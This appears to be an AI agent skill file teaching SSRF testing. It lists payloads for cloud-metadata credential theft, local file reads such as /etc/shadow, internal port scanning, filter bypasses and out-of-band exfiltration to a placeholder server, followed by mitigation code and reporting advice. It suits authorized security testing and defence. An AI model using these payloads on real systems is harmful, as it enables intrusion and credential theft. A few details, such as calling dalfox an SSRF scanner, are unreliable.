| name | ssrf-vulnerability-testing |
| description | How to identify and test for Server-Side Request Forgery (SSRF) vulnerabilities in web applications. Use this skill whenever the user mentions SSRF, server-side request forgery, internal network access, cloud metadata endpoints, or wants to test if an application can make requests to internal systems. This skill covers SSRF payloads, vulnerable platforms, blind SSRF chains, and mitigation strategies. |
SSRF Vulnerability Testing
A comprehensive guide to identifying, testing, and exploiting Server-Side Request Forgery vulnerabilities in web applications.
What is SSRF?
Server-Side Request Forgery (SSRF) is a vulnerability where an attacker can trick a server into making requests to an unintended location. This can expose internal services, cloud metadata endpoints, or allow attackers to interact with systems that should be protected.
When to Use This Skill
Use this skill when:
- Testing web applications for SSRF vulnerabilities
- Analyzing applications that accept URLs, file paths, or image sources
- Investigating potential internal network access through web apps
- Working with cloud environments and metadata endpoints
- Building security assessments that include SSRF testing
SSRF Testing Workflow
1. Identify Potential SSRF Vectors
Look for these common input points:
- URL parameters (
?url=, ?redirect=, ?callback=)
- Image upload fields that fetch remote images
- API endpoints that accept URLs
- Webhook configuration pages
- Import/export functionality
- RSS feed readers
- PDF generators from URLs
2. Basic SSRF Testing
Start with these fundamental tests:
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://0.0.0.0:80
?url=http://[::1]:80
?url=file:///etc/passwd
?url=gopher://127.0.0.1:80/_GET / HTTP/1.1\r\nHost: localhost
?url=dict://127.0.0.1:11211/VERSION
3. Blind SSRF Detection
When there's no direct response, use out-of-band detection:
?url=http://<your-dns-rebinding-domain>
?url=http://<your-server>/callback?param=<data>
?url=http://<data>.<your-domain>
4. Cloud Metadata Endpoints
Test for cloud provider metadata access:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
?url=http://169.254.169.254/metadata/instance/identity/oauth2/token?api-version=2018-10-01
?url=http://169.254.169.254/computeMetadata/v1/
?url=http://metadata.google.internal/computeMetadata/v1/
?url=http://169.254.169.254/metadata/v1/
5. Internal Network Scanning
Use SSRF to scan internal networks:
?url=http://10.0.0.1:80
?url=http://172.16.0.1:80
?url=http://192.168.1.1:80
?url=http://10.0.0.0/16
?url=http://172.16.0.0/12
?url=http://192.168.0.0/16
?url=http://127.0.0.1:22
?url=http://127.0.0.1:3306
?url=http://127.0.0.1:5432
?url=http://127.0.0.1:6379
?url=http://127.0.0.1:27017
?url=http://127.0.0.1:9200
6. SSRF Payloads by Protocol
?url=http://<target>
?url=https://<target>
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///proc/self/environ
?url=file:///var/log/auth.log
?url=gopher://<target>:<port>/_<payload>
?url=dict://<target>:<port>/<command>
?url=ldap://<target>:389/<dn>
?url=ftp://<target>:21/<path>
?url=redis://127.0.0.1:6379
?url=mongodb://127.0.0.1:27017
7. Bypassing Filters
Common filter bypass techniques:
?url=http://0177.0.0.1
?url=http://0x7f.0.0.1
?url=http://127.1
?url=http://127.0.0.01
?url=http://127.0.0.1%00
?url=http://127.0.0.1%0a
?url=http://127.0.0.1
?url=http://127%2e0%2e0%2e1
?url=http://<rebinding-domain>
?url=http://localhost
?url=http://localhost.localdomain
?url=http://localhost.localdomain.local
?url=http://127.0.0.1.nip.io
?url=http://[::1]
?url=http://[0:0:0:0:0:0:0:1]
?url=http://[::ffff:127.0.0.1]
?url=data:text/html,<script>alert(1)</script>
?url=javascript:alert(1)
8. Blind SSRF Chains
For blind SSRF, chain multiple requests to exfiltrate data:
- First request: Trigger SSRF to internal service
- Second request: Use response to make another request
- Continue: Chain until data reaches attacker-controlled server
See: Blind SSRF Chains - AssetNote
Vulnerable Platforms and Frameworks
Common Vulnerable Components
- WordPress: Various plugins with URL input
- Joomla: Component vulnerabilities
- Drupal: Module SSRF issues
- Magento: Admin panel vulnerabilities
- Confluence: CVE-2019-3396, CVE-2021-26084
- Jenkins: Plugin vulnerabilities
- GitLab: Import/export features
- Docker: Registry pull vulnerabilities
Framework-Specific Issues
requests.get(user_input_url)
file_get_contents($user_url)
axios.get(userInputUrl)
url.openConnection()
Mitigation Strategies
1. Input Validation
ALLOWED_DOMAINS = ['example.com', 'trusted-site.com']
def validate_url(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
raise ValueError("URL not in allowlist")
return url
2. Block Internal IPs
import ipaddress
BLOCKED_RANGES = [
'127.0.0.0/8',
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'169.254.0.0/16',
'::1/128',
'fc00::/7',
'fe80::/10',
]
def is_blocked_ip(ip):
ip_obj = ipaddress.ip_address(ip)
for blocked in BLOCKED_RANGES:
if ip_obj in ipaddress.ip_network(blocked):
return True
return False
3. Disable Dangerous Protocols
from requests.utils import requote_uri
def safe_request(url):
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("Only HTTP/HTTPS allowed")
return requests.get(url)
4. Use Security Headers
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'
5. Network-Level Protections
- Use firewalls to block outbound connections to internal networks
- Implement egress filtering
- Use separate network zones for web applications
- Monitor for unusual outbound traffic patterns
Testing Tools
Manual Testing
curl -X POST -d "url=http://127.0.0.1" http://target/vulnerable-endpoint
python ssrf-tester.py --target http://target --payloads payloads.txt
Automated Tools
- Nuclei: SSRF templates
- SSRFmap: Automated SSRF detection
- dalfox: SSRF scanner
- Arjun: Parameter discovery
- ffuf: Fuzzing tool
Reporting SSRF Findings
When documenting SSRF vulnerabilities:
- Vulnerability Type: Server-Side Request Forgery
- Severity: Critical/High (depending on impact)
- Affected Endpoint: Full URL with parameters
- Proof of Concept: Working payload
- Impact: What can be accessed/exploited
- Remediation: Specific mitigation steps
- CVSS Score: Calculate based on impact
References
Important Notes
- Always get proper authorization before testing
- SSRF can have severe security implications
- Test in isolated environments when possible
- Document all findings thoroughly
- Follow responsible disclosure practices